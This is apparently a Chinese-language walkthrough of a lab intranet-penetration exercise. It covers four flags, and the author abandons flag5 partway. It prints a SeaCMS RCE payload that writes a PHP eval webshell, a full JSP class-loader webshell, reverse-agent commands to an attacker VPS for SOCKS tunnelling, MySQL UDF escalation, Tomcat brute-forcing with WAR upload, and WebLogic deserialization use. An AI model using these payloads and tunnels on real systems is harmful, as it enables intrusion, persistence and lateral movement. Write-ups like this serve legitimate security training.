本文最后更新于 2026-10-22T19:09:22+08:00
flag1(seacms v6.45rce 前台Getshell)

打开可以看到是一个seacms
利用fscan扫描看看有什么漏洞
1
| fscan.exe -u http://8.140.236.137:89/
|

看到存在rce漏洞,就上网找poc打

传了之后抓包
poc
1
| searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=system("ls");
|
可以执行rce


ok既然能够rce,那就能写入webshell
poc
1
| searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=system("echo '<?php eval(\$_POST[\"cmd\"]);?>'>m.php");
|
蚁剑连接成功

同样也能看到flag

1
| flag4{22ddee0793c18171e62cff7eef6625ac}
|
flag2(内网代理+Mysql+UDF提权)
在蚁剑中开启终端,查看网段信息
- 内网IP:10.10.20.31
- 网段:10.10.20.0/24

在服务器的/tmp目录下,上传fscan

在/tmp目录下打开终端,因为一开始直接执行./fscan会显示无权限,所以要加执行权限命令
扫描内网服务
1
| ./fscan -h 10.10.20.0/24
|

一开始没看到目录下有生成的结果文件以为是要加写文件的命令
1
| ./fscan -h 10.10.20.0/24 > r.txt 2>&1
|
后来才发现是目录没有及时刷新出来

查看扫描结果(两个文件的结果肯定是一样的啦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 10.10.20.31:80 open 10.10.20.88:8080 open 10.10.20.166:3306 open 10.10.20.88:8009 open 10.10.20.1:89 open 10.10.20.1:8082 open 10.10.20.1:22 open 10.10.20.1:10000 open [*] alive ports len is: 8 start vulscan [*] WebTitle http://10.10.20.1:8082 code:401 len:17 title:None [*] WebTitle http://10.10.20.1:10000 code:200 len:637 title:Welcome to nginx! [+] mysql 10.10.20.166:3306:root 123456 [*] WebTitle http://10.10.20.1:89 code:200 len:21255 title:海洋CMS [*] WebTitle http://10.10.20.31 code:200 len:21255 title:海洋CMS [*] WebTitle http://10.10.20.88:8080 code:200 len:11230 title:Apache Tomcat/8.0.43 [+] PocScan http://10.10.20.31 poc-yaml-seacms-sqli [+] PocScan http://10.10.20.1:89 poc-yaml-seacms-sqli [+] PocScan http://10.10.20.1:89 poc-yaml-seacmsv645-command-exec [+] PocScan http://10.10.20.31 poc-yaml-seacmsv645-command-exec [+] PocScan http://10.10.20.31 poc-yaml-seacms-v654-rce [+] PocScan http://10.10.20.1:89 poc-yaml-seacms-v654-rce
|
信息收集:
- 10.10.20.166:3306:mysql数据库,root的弱口令为123456
- 10.10.20.88:8080:Apache Tomcat/8.0.43
搭建内网代理,在自己的云服务上开启监听
1
| ./linux_x64_admin -l 9999
|

将linux_x64_agent上传到/tmp目录下

然后在蚁剑的终端建立与自己的云服务器的反向连接
1
| ./linux_x64_agent -c [VPS-IP]:9999
|

这里没有权限,ok很熟悉了
1
| chmod +x ./linux_x64_agent
|
然后再执行一次上面的命令

这样就成功了
1 2 3
| detail use 0 socks 15000
|

然后在proxifier上配置好后接受15000端口的流量

然后就可以访问内网了

这里拿到了mysql的密码,可以先利用MDUT看一下mysql服务
1
| mysql 10.10.20.166:3306:root 123456
|
在新增中添加

连接成功后,保存添加然后打开,进行UDF提权

发现没有找到flag,可以尝试用find命令找到flag
1
| find / -type f -name "*flag*" 2>/dev/null
|

ok直接读取flag2.txt拿到第二个flag

1
| flag2{530ee2980a42a42bf5ef25954a6fa7fb}
|
flag3(Tomcat/8.0.43弱口令爆破+后台getshell)
依旧是这个Apache Tomcat/8.0.43,可以在网上找到已有的存在的漏洞


这里需要登录,可以尝试bp抓包爆破
这里要注意的是要关掉Proxifier,先填写下面的代理主机和端口,再勾选使用socks代理

在登录页面输入111:111进行抓包,是在Authorization处进行身份验证,可以对其进行爆破,看到验证位置存在三个变量,我们这里对每一个变量的payload都采用自定义迭代器




添加payload处理规则,与原值一样进行base64编码

不能再勾选url编码
爆破成功了


成功进入了/manager/html
这里登录这边有点小问题,一开始直接用爆破出的账户密码登录一直登不进去,这里好像要重启一下proxifier再登就能进去了,不知道是环境问题还是我做的过程有问题
看到有地方可以上传war包

这里要补充一下war包的制作
war包制作
先创建一个jsp文件(我是用哥斯拉生成的,也可以网上找
密码是pass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("pass"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
|
然后利用jar将其打包为war
1
| D:\Java\jdk1.8.0_151\bin\jar.exe cvf shell1.war shell1.jsp
|

这里有个疑问是要两个文件名相同吗,一开始用的是1.war但传了之后不管访问哪个文件名都是403
这样就好了,访问http://10.10.20.88:8080/shell1/shell1.jsp(这个目录和文件名一致就行)

这样子就ok了,这里的jsp是用哥斯拉生成的,就也用哥斯拉连接了(当然蚁剑和冰蝎应该也可以,但是木马可能要改一下

连接成功后添加,找一下flag文件
1
| find / -type f -name "*flag*" 2>/dev/null
|

好像不太行,那就换一个

ok拿到第三个flag

1
| flag3{8bc05b8ba01d357a44d42b7b16ce7a58}
|
然后为了方便下面几个flag的获得,这里也可以用蚁剑连,但是jsp文件内容需要稍微修改一下,密码依旧是pass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("pass"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
|

【踩坑小记😭】
这里在复现的时候其实遇到了一点小问题,用蚁剑连接的时候一直在报7890的error

知道是代理的问题但是还是搞了好久,让ai探测了还是有问题,后来想到可以在蚁剑这种webshell管理器配置代理

因为我是在自己服务器上利用的socks代理,如下填写服务器就是自己服务器的ip,端口就是socks代理的端口

测试要访问的内网地址


没问题之后就可以保存,再次去连接shell的时候就成功了

flag4(poc-yaml-weblogic-cve-2020-14750)
查看ip,可以发现又一个内网网段172.16.224.66/24

依旧是上传fscan文件
1 2
| chmod +x fscan ./fscan -h 172.16.224.66/24
|
结果生成在了result.txt文件中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 172.16.224.1:10000 open 172.16.224.1:22 open 172.16.224.66:8080 open 172.16.224.221:7001 open 172.16.224.66:8009 open 172.16.224.1:8082 open [*] WebTitle http://172.16.224.1:8082 code:401 len:17 title:None [*] WebTitle http://172.16.224.1:10000 code:200 len:637 title:Welcome to nginx! [*] WebTitle http://172.16.224.66:8080 code:200 len:11230 title:Apache Tomcat/8.0.43 [*] WebTitle http://172.16.224.221:7001 code:404 len:1164 title:Error 404--Not Found [+] InfoScan http://172.16.224.221:7001 [weblogic] [+] PocScan http://172.16.224.221:7001 poc-yaml-weblogic-cve-2019-2729-1 [+] PocScan http://172.16.224.221:7001/console/j_security_check poc-yaml-weblogic-console-weak [{username weblogic} {password Oracle@123} {payload UTF-8}] [+] PocScan http://172.16.224.221:7001 poc-yaml-weblogic-cve-2019-2725 v10 [+] PocScan http://172.16.224.221:7001 poc-yaml-weblogic-cve-2019-2729-2
|
信息收集
http://172.16.224.221:7001:存在weblogic服务
[{username weblogic} {password Oracle@123} {payload UTF-8}]:爆出的账户密码
这里再在自己的服务器上开一个内网代理,注意这里监听的端口要与之前区别
1
| ./linux_x64_admin -l 9998
|
将linux_x64_agent上传到靶机
1 2
| chmod +x linux_x64_agent ./linux_x64_agent -c [VPS-IP]:9998
|

转发到15001端口
1 2 3
| detail use 0 socks 15001
|

将Proxifier的代理端口也改为15001

就可以访问到另一个内网主机

用fscan扫出来的结果中开可以看到
利用漏洞检测工具扫一下,可以发现是存在cve漏洞的
工具下载地址:Release Java反序列化漏洞利用工具V1.7 20190828 · shack2/javaserializetools
工具启动命令
1
| java -jar "Java反序列化漏洞利用工具V1.7.jar"
|

可以执行命令

那就继续传shell,上传之前做的🐎
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("pass"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
|

利用蚁剑连接
1
| http://172.16.224.221:7001//wls-wsat/passwd.jsp
|

在终端查找flag
1 2
| find / -type f -name "*flag*" 2>/dev/null cat /root/flag4
|

1
| flag4{e196c260edb6fade74c1e5ce7cb7826f}
|
flag5
继续查看ip,又可以看到一个存在的内网网段:192.168.10.35

利用fscan扫一下
1
| ./fscan -h 192.168.10.35/24
|
【全局·终】这里实在打不下去了(可能是搭的环境的问题,而且我的服务器一直在掉,连接蚁剑时一直在报7890的报错(并没有挂梯子),一直没有找到解决方法,只能暂且搁置了😭